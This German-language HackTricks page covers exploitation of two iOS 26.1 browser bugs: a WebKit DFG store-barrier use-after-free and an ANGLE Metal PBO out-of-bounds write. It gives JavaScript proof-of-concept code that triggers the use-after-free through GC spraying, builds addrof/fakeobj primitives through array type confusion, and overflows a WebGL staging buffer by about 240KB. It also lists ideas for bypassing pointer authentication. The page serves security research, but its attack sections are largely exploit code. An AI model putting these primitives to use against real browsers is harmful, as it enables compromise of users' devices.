WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Zusammenfassung
- DFG Store Barrier bug (CVE-2025-43529): In
DFGStoreBarrierInsertionPhase.cppführt eine als escaped markierte Phi node, während ihre Upsilon inputs es nicht sind, dazu, dass die Phase das Einfügen einer write barrier bei folgenden object stores überspringt. Unter GC-Druck erlaubt das JSC, noch erreichbare Objekte freizugeben → use-after-free. - Exploit target: Erzwinge, dass ein Date-Objekt einen butterfly materialisiert (z. B.
a[0] = 1.1), sodass der butterfly freigegeben wird und anschließend reclaimed als array element storage wiederverwendet wird, um eine boxed/unboxed-Verwirrung zu erzeugen →addrof/fakeobjprimitives. - ANGLE Metal PBO bug (CVE-2025-14174): Das Metal-Backend alloziert den PBO staging buffer unter Verwendung von
UNPACK_IMAGE_HEIGHTstatt der tatsächlichen texture height. Wenn man eine winzige unpack height angibt und dann ein großestexImage2Dausführt, führt das zu einem staging-buffer OOB write (~240KB im PoC unten). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectorund JSArraybutterflysind PAC-signed; das Erstellen gefälschter Objekte mit vom Angreifer gewählten Zeigern führt zu Abstürzen mitEXC_BAD_ACCESS/EXC_ARM_PAC. Nur das Wiederverwenden von already-signed butterflies (boxed/unboxed reinterpretation) funktioniert.
Auslösen der fehlenden DFG-Barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Wichtige Punkte:
- Platziere A im old space, um generationale Barrieren auszulösen.
- Erzeuge ein indiziertes Date, sodass der butterfly das freigegebene Ziel ist.
- Spray
ArrayBuffer(0x800000)um GC zu erzwingen und das race zu vergrößern. - Die Phi/Upsilon-Escape-Mismatch verhindert das Einfügen von Barrieren;
b.p1 = aläuft ohne write barrier, sodass GCa/butterfly freigibt.
Butterfly-Freigabe → boxed/unboxed-Verwirrung
Nachdem GC den Date-butterfly freigegeben hat, spray arrays, sodass der freigegebene Slab als Elemente für zwei Arrays mit unterschiedlichen element kinds wiederverwendet wird:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status auf iOS 26.1 (arm64e):
- Funktioniert:
addrof,fakeobj, 20+ address leaks pro Lauf, inline-slot read/write (bei bekannten inline-Feldern). - Noch nicht stabil: generalized
read64/write64via inline-slot backings.
PAC-Einschränkungen auf arm64e (warum fake objects abstürzen)
- TypedArray
m_vectorund JSArraybutterflysind PAC-signiert; das Fälschen von Pointern führt zuEXC_BAD_ACCESS/ wahrscheinlichEXC_ARM_PAC. - Die confusion primitive funktioniert, weil sie legitime signierte butterflies wiederverwendet; das Einführen von unsigned attacker pointers scheitert an der Authentifizierung.
- Mögliche Bypass-Ideen: JIT-Pfade, die die Authentifizierung überspringen, Gadgets, die attacker pointers signieren, oder Pivoting durch das ANGLE OOB.
ANGLE Metal PBO-Unterallokation → OOB write
Verwende eine sehr kleine unpack height, um den staging buffer zu verkleinern, und lade dann eine große texture hoch, sodass die copy überläuft:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Hinweise:
- Bug in
TextureMtl.cpp: Der Staging-Buffer verwendetUNPACK_IMAGE_HEIGHTanstelle der tatsächlichen Texturhöhe auf dem PBO-Pfad. - In der Referenzprobe ist der WebGL2 PBO-Trigger eingebunden, wurde aber auf iOS 26.1 noch nicht zuverlässig beobachtet.
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


